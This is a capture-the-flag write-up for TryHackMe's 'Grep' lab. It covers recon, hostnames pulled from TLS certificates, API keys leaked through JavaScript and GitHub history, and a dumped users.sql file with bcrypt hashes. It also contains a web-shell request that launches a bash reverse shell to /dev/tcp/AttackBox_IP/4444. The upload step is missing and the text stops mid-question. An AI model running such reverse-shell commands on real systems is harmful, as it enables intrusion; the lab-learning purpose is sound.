Challenges: Grep (TryHackMe)

Challenge on TryHackMe: Grep
Introduction
TryHackMe's Grep room bills itself as an OSINT challenge under the Red Teaming path, and that framing turned out to be the whole point. Coming into this box expecting a typical enumerate-exploit-privesc chain, I found myself instead chasing hostnames through TLS certificates, digging through a public GitHub repository's commit history, and cracking a bcrypt hash — all before ever touching a reverse shell. SuperSecure Corp's fictional "SearchME" blogging platform turned out to be an unusually honest simulation of how real security failures happen: not through exotic zero-days, but through a hardcoded API key nobody scrubbed properly from version control, a magic-byte upload filter that never checked the file extension it claimed to enforce, and a backup SQL dump left sitting in a predictable directory. This writeup walks through the full chain — from a stalled nmap/gobuster scan against a machine serving nothing but Apache defaults, to root-adjacent code execution as www-data, to finally cracking the admin's bcrypt hash using nothing more exotic than a hint about answer formatting.
Grep
Welcome to the OSINT challenge, part of TryHackMe’s Red Teaming Path. In this task, you will be an ethical hacker aiming to exploit a newly developed web application.
SuperSecure Corp, a fast-paced startup, is currently creating a blogging platform inviting security professionals to assess its security. The challenge involves using OSINT techniques to gather information from publicly accessible sources and exploit potential vulnerabilities in the web application.
Start by deploying the machine; Click on the Start Lab Machine button in the upper-right-hand corner of this task to deploy the lab machine for this room.
Your goal is to identify and exploit vulnerabilities in the application using a combination of recon and OSINT skills. As you progress, you’ll look for weak points in the app, find sensitive data, and attempt to gain unauthorized access. You will leverage the skills and knowledge acquired through the Red Team Pathway to devise and execute your attack strategies.
Note: Please allow the machine 3 - 5 minutes to fully boot. Also, no local privilege escalation is necessary to answer the questions.
Answer the questions below
What is the API key that allows a user to register on the website?
Recon & Enumeration
nmap -p- -sV IP_Address
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
443/tcp open ssl/http Apache httpd 2.4.41
51337/tcp open http Apache httpd 2.4.41
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
/.php (Status: 403) [Size: 279]
/.hta (Status: 403) [Size: 279]
/.hta.php (Status: 403) [Size: 279]
/.hta.txt (Status: 403) [Size: 279]
/.hta.html (Status: 403) [Size: 279]
/.htaccess.php (Status: 403) [Size: 279]
/.htaccess (Status: 403) [Size: 279]
/.htaccess.txt (Status: 403) [Size: 279]
/.htaccess.html (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htpasswd.txt (Status: 403) [Size: 279]
/.htpasswd.html (Status: 403) [Size: 279]
/.htpasswd.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/index.php (Status: 200) [Size: 11509]
/index.php (Status: 200) [Size: 11509]
/javascript (Status: 301) [Size: 321] [--> http://IP_Address/javascript/]
/phpmyadmin (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
curl -s http://IP_Address/ | grep -iE "flag|pass|key|user|admin|THM|todo|secret|api"
If you are a normal user of this web site and don't know what this page is
If the problem persists, please contact the site's administrator.
<a href="http://httpd.apache.org/docs/2.4/mod/mod_userdir.html">public_html</a>
gobuster dir -u http://IP_Address/server-status
-w /usr/share/wordlists/dirb/common.txt -x php,html,txt
openssl s_client -connect IP_Address:51337 -servername IP_Address </dev/null
CONNECTED(00000003)
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
verify error:num=18:self-signed certificate
verify return:1
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
verify error:num=10:certificate has expired
notAfter=Jun 13 12:58:31 2024 GMT
verify return:1
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
notAfter=Jun 13 12:58:31 2024 GMT
verify return:1
---
Certificate chain
0 s:C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
i:C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Jun 14 12:58:31 2023 GMT; NotAfter: Jun 13 12:58:31 2024 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDTzCCAjcCFCzf/mtdaBGiKKpO7gdtpdVG9u6iMA0GCSqGSIb3DQEBCwUAMGQx
CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl
cm5ldCBXaWRnaXRzIFB0eSBMdGQxHTAbBgNVBAMMFGxlYWtjaGVja2VyLmdyZXAu
dGhtMB4XDTIzMDYxNDEyNTgzMVoXDTI0MDYxMzEyNTgzMVowZDELMAkGA1UEBhMC
QVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdpZGdp
dHMgUHR5IEx0ZDEdMBsGA1UEAwwUbGVha2NoZWNrZXIuZ3JlcC50aG0wggEiMA0G
CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2IM3DBj0hHYcAMzLoJEDCI8fSzx0g
4UY+ttgJsvN8MohZRGVzPM6WaCmxw39gcem3o/nLBQ8sacwre6RhqDvFNRiX6+aV
51OcP2h5ucnqoPB4UXB1nyHKwhPK8LIaCpxjnYkTacG1U2Pr8vXqJnrQoqSjyik2
xMTkhiP+xS0+w7F42JXeiqk5R4q1klufsqyx3goHCdGpNJSVeU9fN5GKkCJblJll
ejorhh4tWG1eUs+09awwLR+PXoMMO3EuVma+7cnmj16Cn95Glaa8pYhopDntjQwo
Hz+CyjwXHFc2JFj02u7QLcMJRtz/FfLBD2kga39eKv75peHLEKIgaHbZAgMBAAEw
DQYJKoZIhvcNAQELBQADggEBAJIlfMmC0KqBPG7/54bkNknBCo+z6ck1oAOmHqrj
IPUSCvSomgP/wuXuzOlspp9Qta8hA3DM+L0Q4/jE5Jt+IXU2TeBgvFsZx3IJGipf
/LyO8C2MzoKWXO3CwP8WIREzCckaSZIXsrBMixWzKoGnLxl/zvYmhM00C8aJ/8cf
3gsVcFtiuudzfctad7a5gzcSGLhkATZTcuFDto3uzC4LszSXr8WiFBcSGbwyBkY9
VZOfpN/kbjmxZIUXovF9BwHY9GWbDauuAkyCD4caUbbq7wdfTFH0A8lSw0ggzvzK
hn9+V7DBwrPr4Y/gdkrUP6zWMZWnPybIYsmvbo2aKi9UJ+8=
-----END CERTIFICATE-----
subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
issuer=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1407 bytes and written 396 bytes
Verification error: certificate has expired
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 10 (certificate has expired)
---
DONE
echo "IP_Address leakchecker.grep.thm" | sudo tee -a /etc/hosts
openssl s_client -connect IP_Address:443 -servername IP_Address </dev/null
CONNECTED(00000003)
depth=0 C = US, ST = Some-State, O = SearchME, CN = grep.thm
verify error:num=18:self-signed certificate
verify return:1
depth=0 C = US, ST = Some-State, O = SearchME, CN = grep.thm
verify error:num=10:certificate has expired
notAfter=Jun 13 13:03:09 2024 GMT
verify return:1
depth=0 C = US, ST = Some-State, O = SearchME, CN = grep.thm
notAfter=Jun 13 13:03:09 2024 GMT
verify return:1
---
Certificate chain
0 s:C = US, ST = Some-State, O = SearchME, CN = grep.thm
i:C = US, ST = Some-State, O = SearchME, CN = grep.thm
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Jun 14 13:03:09 2023 GMT; NotAfter: Jun 13 13:03:09 2024 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDFzCCAf8CFGTWwbbVKaNSN8fhUdtf0QT84zCSMA0GCSqGSIb3DQEBCwUAMEgx
CzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMREwDwYDVQQKDAhTZWFy
Y2hNRTERMA8GA1UEAwwIZ3JlcC50aG0wHhcNMjMwNjE0MTMwMzA5WhcNMjQwNjEz
MTMwMzA5WjBIMQswCQYDVQQGEwJVUzETMBEGA1UECAwKU29tZS1TdGF0ZTERMA8G
A1UECgwIU2VhcmNoTUUxETAPBgNVBAMMCGdyZXAudGhtMIIBIjANBgkqhkiG9w0B
AQEFAAOCAQ8AMIIBCgKCAQEAtiDNwwY9IR2HADMy6CRAwiPH0s8dIOFGPrbYCbLz
fDKIWURlczzOlmgpscN/YHHpt6P5ywUPLGnMK3ukYag7xTUYl+vmledTnD9oebnJ
6qDweFFwdZ8hysITyvCyGgqcY52JE2nBtVNj6/L16iZ60KKko8opNsTE5IYj/sUt
PsOxeNiV3oqpOUeKtZJbn7Kssd4KBwnRqTSUlXlPXzeRipAiW5SZZXo6K4YeLVht
XlLPtPWsMC0fj16DDDtxLlZmvu3J5o9egp/eRpWmvKWIaKQ57Y0MKB8/gso8FxxX
NiRY9Nru0C3DCUbc/xXywQ9pIGt/Xir++aXhyxCiIGh22QIDAQABMA0GCSqGSIb3
DQEBCwUAA4IBAQCzhJu52dIY7V/qQleDMEQ1oBLrQoFhHD6+UbvH0ELMAtL5Dc8A
LGDdyFkgsx04TaZtJ20dyrjYD+tcAgu9Yb7eEYbfqqD5w4XSzvdEuTW2aVL86aT6
IBbN8SMkX2zfILjHTOR1F7WAoHaIssH0yZltg+lQEEnAeb+XoIZm9cIW2bTNKoO2
MeHgvSKkQkjROO29XQQ3mTbxFG86UsTwyGHdddnkfiWilXqgfh+wGxbY/wCdhU0C
TnuXn4IEVdCBn16rCg51kEZZC1EWPcJpv0/InUNfcgumcVY033EXF/HgW4eNDD6H
XmLEGKfScUWcO0//STDZGZXwf9gt30DqoMSf
-----END CERTIFICATE-----
subject=C = US, ST = Some-State, O = SearchME, CN = grep.thm
issuer=C = US, ST = Some-State, O = SearchME, CN = grep.thm
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1351 bytes and written 396 bytes
Verification error: certificate has expired
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 10 (certificate has expired)
---
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: DBE39522C0659862EAE4BC5B1BD9881AA285EAF3BFE860274CBB2FC7DF588155
Session-ID-ctx:
Resumption PSK: 5362F7EE4E55E670C2C3334043A274EAA09FAC49037347B172469A9EC635DD21E13E8088E302D9B361E693DDDFDD8ED9
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - d4 85 49 87 dc 0f 75 e2-81 ae e0 af b4 0d a4 ce ..I...u.........
0010 - aa cf 03 21 9a b9 ba 15-61 18 d5 a0 35 f1 c9 4c ...!....a...5..L
0020 - 13 15 55 b0 26 28 10 1c-19 73 a3 f6 7d 0b 4d bf ..U.&(...s..}.M.
0030 - 2b d7 82 8a 18 34 54 de-30 25 1a 8a 8b dd c6 6d +....4T.0%.....m
0040 - 1c ae 23 35 79 3e b4 5a-52 6f 26 9d f6 34 2b 92 ..#5y>.ZRo&..4+.
0050 - 8a 8d db e7 71 9d a7 b4-a0 5e 1c 8a e3 f2 0d f7 ....q....^......
0060 - 0b 41 e7 3d d3 b3 0a af-c9 26 43 0b b6 cf 58 29 .A.=.....&C...X)
0070 - f6 34 57 44 ec fa 14 bf-ac a6 c2 10 ad 5d d6 80 .4WD.........]..
0080 - 15 82 0c 73 4c 22 02 a0-ce 75 f4 63 ba 71 dd 29 ...sL"...u.c.q.)
0090 - c6 f6 cc 5b 29 5f f9 1e-a9 09 d5 db d6 3c 77 5d ...[)_.......<w]
00a0 - 52 68 ed f6 47 00 55 5b-cd 8e d8 6b be b8 ac d3 Rh..G.U[...k....
00b0 - b2 77 bf 10 e4 34 05 ec-13 d2 09 4f 91 3d 8c c5 .w...4.....O.=..
00c0 - b3 9b 8e 2a 63 a5 ed 48-e0 26 64 21 d8 65 91 29 ...*c..H.&d!.e.)
00d0 - f3 c8 8e b9 3d c2 04 a7-3f b4 8b e9 e7 aa 41 44 ....=...?.....AD
Start Time: 1788515556
Timeout : 7200 (sec)
Verify return code: 10 (certificate has expired)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
---
Post-Handshake New Session Ticket arrived:
SSL-Session:
Protocol : TLSv1.3
Cipher : TLS_AES_256_GCM_SHA384
Session-ID: 830F682B92C6938067A90EFEC6FF0DD0530D1513AD5669BC97F1B0ACA6A0FBB1
Session-ID-ctx:
Resumption PSK: 5ED02D6DF665389B26ACF1AFE84D0CEF63556A92F2814B7937F1CB4737DF09DDD526130A44FF34AB50CEB0221D6A20DD
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - d4 85 49 87 dc 0f 75 e2-81 ae e0 af b4 0d a4 ce ..I...u.........
0010 - 68 66 a7 cd 99 03 68 57-d5 d6 97 5e dc d7 dc f1 hf....hW...^....
0020 - e3 da 9b e2 45 d5 33 6a-44 85 c7 5b a7 a6 fc f3 ....E.3jD..[....
0030 - 8c 9a 7c fc 39 ce 31 08-d5 2f 35 d5 51 d0 07 47 ..|.9.1../5.Q..G
0040 - d6 cd 59 9f 03 1e 16 31-a2 db a2 55 63 4f b8 8e ..Y....1...UcO..
0050 - 86 30 7d ed 6a 58 9e 80-a3 af f6 84 c3 7d e1 41 .0}.jX.......}.A
0060 - da f6 ee 05 6b af 75 54-18 a3 f0 14 60 24 ca ee ....k.uT....`$..
0070 - fd 76 01 a3 00 99 8d d6-3a e9 b1 5f 7f 97 1c e6 .v......:.._....
0080 - 08 cf e4 1d b6 93 a4 fe-ba 79 d2 ef 42 04 fc 61 .........y..B..a
0090 - de bd 23 5a 95 50 9b 1e-e1 fd ef 88 33 70 ef ce ..#Z.P......3p..
00a0 - 62 0f 64 05 52 ed 58 a0-69 42 38 d0 6b a4 6a a8 b.d.R.X.iB8.k.j.
00b0 - 32 5d a3 e2 d8 1c 4a e2-0b a1 02 86 01 bc 20 4d 2]....J....... M
00c0 - 84 b1 26 f4 4d 72 2e 98-2e 07 69 e9 ab 26 ef 81 ..&.Mr....i..&..
00d0 - 73 c8 04 30 28 de cb 90-49 70 02 45 3d b7 0a e9 s..0(...Ip.E=...
Start Time: 1788515556
Timeout : 7200 (sec)
Verify return code: 10 (certificate has expired)
Extended master secret: no
Max Early Data: 0
---
read R BLOCK
DONE
curl -skv https://grep.thm/
* Host grep.thm:443 was resolved.
* IPv6: (none)
* IPv4: IP_Address
* Trying IP_Address:443...
* Connected to grep.thm (IP_Address) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / X25519 / RSASSA-PSS
* ALPN: server accepted http/1.1
* Server certificate:
* subject: C=US; ST=Some-State; O=SearchME; CN=grep.thm
* start date: Jun 14 13:03:09 2023 GMT
* expire date: Jun 13 13:03:09 2024 GMT
* issuer: C=US; ST=Some-State; O=SearchME; CN=grep.thm
* SSL certificate verify result: self-signed certificate (18), continuing anyway.
* Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* using HTTP/1.x
> GET / HTTP/1.1
> Host: grep.thm
> User-Agent: curl/8.5.0
> Accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
< HTTP/1.1 302 Found
< Date: Fri, 04 Sep 2026 09:56:42 GMT
< Server: Apache/2.4.41 (Ubuntu)
< location: /public/html/
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host grep.thm left intact
working version
root@ip-10-113-102-138:~# ffuf -w /usr/share/dirb/wordlists/common.txt -u https://grep.thm/public/html/FUZZ -e .php
.php [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 0ms]
.hta [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 3ms]
[Status: 200, Size: 1471, Words: 343, Lines: 36, Duration: 16ms]
.htaccess [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 0ms]
.hta.php [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 1ms]
.htpasswd.php [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 3ms]
.htpasswd [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 8ms]
.htaccess.php [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 11ms]
admin.php [Status: 403, Size: 0, Words: 1, Lines: 1, Duration: 11ms]
admin.php [Status: 403, Size: 0, Words: 1, Lines: 1, Duration: 12ms]
dashboard.php [Status: 403, Size: 0, Words: 1, Lines: 1, Duration: 56ms]
index.php [Status: 200, Size: 1471, Words: 343, Lines: 36, Duration: 396ms]
index.php [Status: 200, Size: 1471, Words: 343, Lines: 36, Duration: 400ms]
login.php [Status: 200, Size: 1981, Words: 446, Lines: 46, Duration: 78ms]
logout.php [Status: 200, Size: 154, Words: 8, Lines: 10, Duration: 59ms]
register.php [Status: 200, Size: 2346, Words: 538, Lines: 54, Duration: 328ms]
upload.php [Status: 200, Size: 46, Words: 8, Lines: 1, Duration: 439ms]
:: Progress: [9228/9228] :: Job [1/1] :: 632 req/sec :: Duration: [0:01:31] :: Errors: 4 ::
curl -sk https://grep.thm/public/html/../js/register.js
curl -sk https://grep.thm/js/register.js
curl -sk https://grep.thm/public/html/../js/register.js
curl -sk https://grep.thm/js/register.js
function register() {
var username = document.getElementById('username').value;
var password = document.getElementById('password').value;
var email = document.getElementById('email').value;
var name = document.getElementById('name').value;
fetch('../../api/register.php', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-Thm-Api-Key': 'e8d25b4208b80008a9e15c8698640e85'
},
body: JSON.stringify({
username: username,
password: password,
email: email,
name: name,
}),
})
.then(response => response.json())
.then(data => {
if (data.error) {
alert(data.error);
} else {
alert('Registration successful! Please login.');
window.location.href = 'login.php';
}
})
.catch((error) => {
console.error('Error:', error);
});
}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at grep.thm Port 443</address>
</body></html>
Incase VM goes off midchallenge you can rerun these commands with the new IP_Address
sudo sed -i '/grep.thm/d' /etc/hosts
echo "IP_Address grep.thm" | sudo tee -a /etc/hosts
echo "IP_Address leakchecker.grep.thm" | sudo tee -a /etc/hosts
curl -sk -X POST https://grep.thm/api/register.php \
-H "Content-Type: application/json" \
-H "X-Thm-Api-Key: e8d25b4208b80008a9e15c8698640e85" \
-d '{"username":"tester","password":"Test1234!","email":"tester@grep.thm","name":"Tester"}'
API Key
Found the API key on GitHub. Initially, I thought since it was a CTF challenge it meant that I wouldn't find the flags or clues on real-world sites like GitHub, but in reality some TryHackMe challenges are based on what we access in the real world.
Visit: https://github.com/supersecuredeveloper/searchmecms/commits/main/api/register.php
curl -sk -X POST https://grep.thm/api/register.php -H "Content-Type: application/json" -H "X-Thm-Api-Key: ffe60ecaa8bba2f12b43d1a4b15b8f39" -d '{"username":"tester","password":"Test1234!","email":"tester@grep.thm","name":"Tester"}'
{"message":"Registration successful."}
What is the first flag? THM{4ec9806d7e1350270dc402ba87redacted}
curl -sk -b cookies.txt https://grep.thm/api/posts.php
[{"title":"First Flag","content":"THM{4ec9806d7e1350270dc402ba87redacted}"},{"title":"First Test Post","content":"This is a test post from the admin"},{"title":"Second Test Post","content":"This is a test post from the admin"},{"title":"Test","content":"Test"}]
What is the email of the "admin" user'?admin@searchme2023cms.grep.thm
Admin
nc -lvnp 4444
curl -sk "https://grep.thm/api/uploads/shell.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/AttackBox_IP/4444+0%3E%261%27"
nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on IP_Address 36982
bash: cannot set terminal process group (708): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ip-10-112-159-192:/var/www/html/api/uploads$ find / -type f -name root.txt 2>/dev/null
</uploads$ find / -type f -name root.txt 2>/dev/null
www-data@ip-10-112-159-192:/var/www/html/api/uploads$
find / -iname "*.sql" 2>/dev/null
<html/api/uploads$ find / -iname "*.sql" 2>/dev/null
/usr/share/mysql/uninstall_rewriter.sql
/usr/share/mysql/innodb_memcached_config.sql
/usr/share/mysql/debian_create_root_user.sql
/usr/share/mysql/install_rewriter.sql
/usr/share/doc/dbconfig-common/examples/db-test-pgsql-2.0/pgsql.sql
/usr/share/doc/dbconfig-common/examples/db-test-mysql-2.1/mysql.sql
/usr/share/doc/dbconfig-common/examples/db-test-mysql-2.1/mysql-upgrade_2.1.sql
/usr/share/doc/dbconfig-common/examples/db-test-pgsql-migration-1.9/pgsql.sql
/usr/share/doc/dbconfig-common/examples/db-test-sqlite-2.0/sqlite.sql
/usr/share/doc/dbconfig-common/examples/db-test-multidbtype-2.0/mysql.sql
/usr/share/doc/dbconfig-common/examples/db-test-multidbtype-2.0/pgsql.sql
/usr/share/doc/dbconfig-common/examples/db-test-pgsql-migration-2.0/pgsql.sql
/usr/share/doc/dbconfig-common/examples/db-test-pgsql-2.2/pgsql-upgrade_2.2.sql
/usr/share/doc/dbconfig-common/examples/db-test-pgsql-2.2/pgsql-upgrade_2.1.sql
/usr/share/doc/dbconfig-common/examples/db-test-pgsql-2.2/pgsql.sql
/usr/share/doc/dbconfig-common/examples/db-test-sqlite3-2.0/sqlite.sql
/usr/share/doc/dbconfig-common/examples/db-test-mysql-2.0/mysql.sql
/usr/share/doc/dbconfig-common/examples/db-test-pgsql-2.1/pgsql-upgrade_2.1.sql
/usr/share/doc/dbconfig-common/examples/db-test-pgsql-2.1/pgsql.sql
/usr/share/doc/phpmyadmin/examples/create_tables.sql
/usr/share/phpmyadmin/sql/upgrade_tables_4_7_0+.sql
/usr/share/phpmyadmin/sql/create_tables.sql
/usr/share/phpmyadmin/sql/upgrade_tables_mysql_4_1_2+.sql
/usr/share/phpmyadmin/sql/upgrade_column_info_4_3_0+.sql
/var/www/backup/users.sql
www-data@ip-10-112-159-192:/var/www/html/api/uploads$ cat /var/www/backup/users.sql
<www/html/api/uploads$ cat /var/www/backup/users.sql
-- phpMyAdmin SQL Dump
-- version 5.2.1
-- https://www.phpmyadmin.net/
--
-- Host: 127.0.0.1
-- Generation Time: May 30, 2023 at 01:25 PM
-- Server version: 10.4.28-MariaDB
-- PHP Version: 8.0.28
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;
--
-- Database: `postman`
--
-- --------------------------------------------------------
--
-- Table structure for table `users`
--
CREATE TABLE `users` (
`id` int(11) NOT NULL,
`username` varchar(50) NOT NULL,
`password` varchar(255) NOT NULL,
`email` varchar(100) NOT NULL,
`name` varchar(100) DEFAULT NULL,
`role` varchar(20) DEFAULT 'user'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci;
--
-- Dumping data for table `users`
--
INSERT INTO `users` (`id`, `username`, `password`, `email`, `name`, `role`) VALUES
(1, 'test', '$2y$10$dE6VAdZJCN4repNAFdsO2ePDr3StRdOhUJ1O/41XVQg91qBEBQU3G', 'test@grep.thm', 'Test User', 'user'),
(2, 'admin', '$2y$10$3V62f66VxzdTzqXF4WHJI.Mpgcaj3WxwYsh7YDPyv1xIPss4qCT9C', 'admin@searchme2023cms.grep.thm', 'Admin User', 'admin');
--
-- Indexes for dumped tables
--
--
-- Indexes for table `users`
--
ALTER TABLE `users`
ADD PRIMARY KEY (`id`),
ADD UNIQUE KEY `username` (`username`),
ADD UNIQUE KEY `email` (`email`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
www-data@ip-10-112-159-192:/var/www/html/api/uploads$
What is the host name of the web application that allows a user to check an email for a possible password leak? leakchecker.grep.thm
openssl s_client -connect IP_Address:51337 -servername IP_Address </dev/null
CONNECTED(00000003)
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
verify error:num=18:self-signed certificate
verify return:1
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
verify error:num=10:certificate has expired
notAfter=Jun 13 12:58:31 2024 GMT
verify return:1
depth=0 C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
notAfter=Jun 13 12:58:31 2024 GMT
verify return:1
---
Certificate chain
0 s:C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
i:C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
v:NotBefore: Jun 14 12:58:31 2023 GMT; NotAfter: Jun 13 12:58:31 2024 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDTzCCAjcCFCzf/mtdaBGiKKpO7gdtpdVG9u6iMA0GCSqGSIb3DQEBCwUAMGQx
CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl
cm5ldCBXaWRnaXRzIFB0eSBMdGQxHTAbBgNVBAMMFGxlYWtjaGVja2VyLmdyZXAu
dGhtMB4XDTIzMDYxNDEyNTgzMVoXDTI0MDYxMzEyNTgzMVowZDELMAkGA1UEBhMC
QVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdpZGdp
dHMgUHR5IEx0ZDEdMBsGA1UEAwwUbGVha2NoZWNrZXIuZ3JlcC50aG0wggEiMA0G
CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC2IM3DBj0hHYcAMzLoJEDCI8fSzx0g
4UY+ttgJsvN8MohZRGVzPM6WaCmxw39gcem3o/nLBQ8sacwre6RhqDvFNRiX6+aV
51OcP2h5ucnqoPB4UXB1nyHKwhPK8LIaCpxjnYkTacG1U2Pr8vXqJnrQoqSjyik2
xMTkhiP+xS0+w7F42JXeiqk5R4q1klufsqyx3goHCdGpNJSVeU9fN5GKkCJblJll
ejorhh4tWG1eUs+09awwLR+PXoMMO3EuVma+7cnmj16Cn95Glaa8pYhopDntjQwo
Hz+CyjwXHFc2JFj02u7QLcMJRtz/FfLBD2kga39eKv75peHLEKIgaHbZAgMBAAEw
DQYJKoZIhvcNAQELBQADggEBAJIlfMmC0KqBPG7/54bkNknBCo+z6ck1oAOmHqrj
IPUSCvSomgP/wuXuzOlspp9Qta8hA3DM+L0Q4/jE5Jt+IXU2TeBgvFsZx3IJGipf
/LyO8C2MzoKWXO3CwP8WIREzCckaSZIXsrBMixWzKoGnLxl/zvYmhM00C8aJ/8cf
3gsVcFtiuudzfctad7a5gzcSGLhkATZTcuFDto3uzC4LszSXr8WiFBcSGbwyBkY9
VZOfpN/kbjmxZIUXovF9BwHY9GWbDauuAkyCD4caUbbq7wdfTFH0A8lSw0ggzvzK
hn9+V7DBwrPr4Y/gdkrUP6zWMZWnPybIYsmvbo2aKi9UJ+8=
-----END CERTIFICATE-----
subject=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
issuer=C = AU, ST = Some-State, O = Internet Widgits Pty Ltd, CN = leakchecker.grep.thm
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1407 bytes and written 396 bytes
Verification error: certificate has expired
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 10 (certificate has expired)
---
DONE
What is the password of the "admin" user?
We found the password hash here: bcrypt
